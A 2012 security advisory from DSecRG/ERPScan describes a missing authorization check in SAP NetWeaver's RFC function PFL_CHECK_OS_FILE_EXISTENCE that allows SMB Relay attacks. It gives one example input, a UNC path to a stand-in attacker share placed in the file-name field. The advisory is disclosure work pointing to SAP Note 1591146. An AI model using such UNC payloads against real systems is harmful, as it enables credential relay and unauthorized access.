Services Vulnerabilities Exploits Publications News Blog About DSecRG


[DSECRG-12-009] SAP NetWeaver PFL_CHECK_OS_FILE_EXISTENCE - missing authorization check and SMB Relay vulnerability

Missing authorization check in FRC function PFL_CHECK_OS_FILE_EXISTENCE.

Digital Security Research Group [DSecRG] Advisory #DSECRG-00226


Missing authorisation check in FRC function PFL_CHECK_OS_FILE_EXISTENCE

Application: SAP NetWeaver
Versions Affected: 7.02 sp6
Vendor URL: http://www.sap.com
Bugs: Missing auth check
Exploits: YES
Reported: 13.05.2011
Vendor response: 14.05.2011
Date of SAPNOTE Published: 10.19.2011
Date of Public Advisory: 20.01.2012
CVE-number:
Author: Alexey Tyurin from DSecRG (research center of ERPScan)

Description
***********

Missing authorization check in FRC function PFL_CHECK_OS_FILE_EXISTENCE.


Details
*******
RFC Function PFL_CHECK_OS_FILE_EXISTENCE can be used for SMBRelay attack and to check the existence of a file.

An attacker can insert malicious UNC path in the "Target file on application server" field .

To conduct a successful SMB Relay attack, attacker should enforce to initiate SMB session on attacker's server via UNC path request.
The SMB client tries to access a remote SMB service on the attacker's machine.

Example: LONG_FILENAME = \\Attacker\Share\pic.jpg

It can be exploited remotely using RFC or webrfc without any additional autorization by any user.
Additionally it can be used by se37 transaction.



References
**********
http://dsecrg.com/pages/vul/show.php?id=409
http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d10-eea7-ceb666083a6a
https://service.sap.com/sap/support/notes/1591146


Fix Information
*************
Solution to this issue is given in the SAP Security Note 1591146.


About DSecRG
*******
The main mission of DSecRG is to conduct researches of business critical systems such as ERP, CRM, SRM, BI, SCADA, banking software and others. The result of this work is then integrated in ERPScan Security Scanner. Being on the top edge of ERP and SAP security DSecRG research helps to improve quality of ERPScan consulting services and protects you from the latest threats.
Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com

About ERPScan
*******
ERPScan is an innovative company engaged in the research of ERP security. It develops products for ERP system security assessment. Apart from this, the company provides consulting services for secure configuration, development and implementation of ERP systems, and conducts comprehensive assessment and penetration testing of custom solutions.
Our flagship products are "ERPScan Security Scanner for SAP" and "ERPScan Online" service which can help customers to perform automated security assessments and compliance checks for SAP solutions.
Contact: info [at] erpscan [dot] com
http://www.erpscan.com


Vulnerabilities RSS RSS
21.03.2012
[DSECRG-12-019] vCenter Orchestrator - password disclosure

22.02.2012
[DSECRG-12-018] Oracle Application Server - multiple security vulnerabilities

17.02.2012
[DSECRG-12-017] ASUS Net4Switch ipswcom.dll ActiveX - buffer overflow vulnerability

17.02.2012
[DSECRG-12-016] SAP MessagingSystem - information disclosure

17.02.2012
[DSECRG-12-014] SAP Internet Sales - XSS

17.02.2012
[DSECRG-12-015] SAP Adapter Monitor - information disclosure

Vulnerabilities list


© 2002—2014, ERPScan
For quoting or using materials from this site
link is obligatory

+44 (20) 81334493    e-mail: research@dsecrg.com
Rss: Vulnerabilities, Exploits, News, Publications, Summary
Search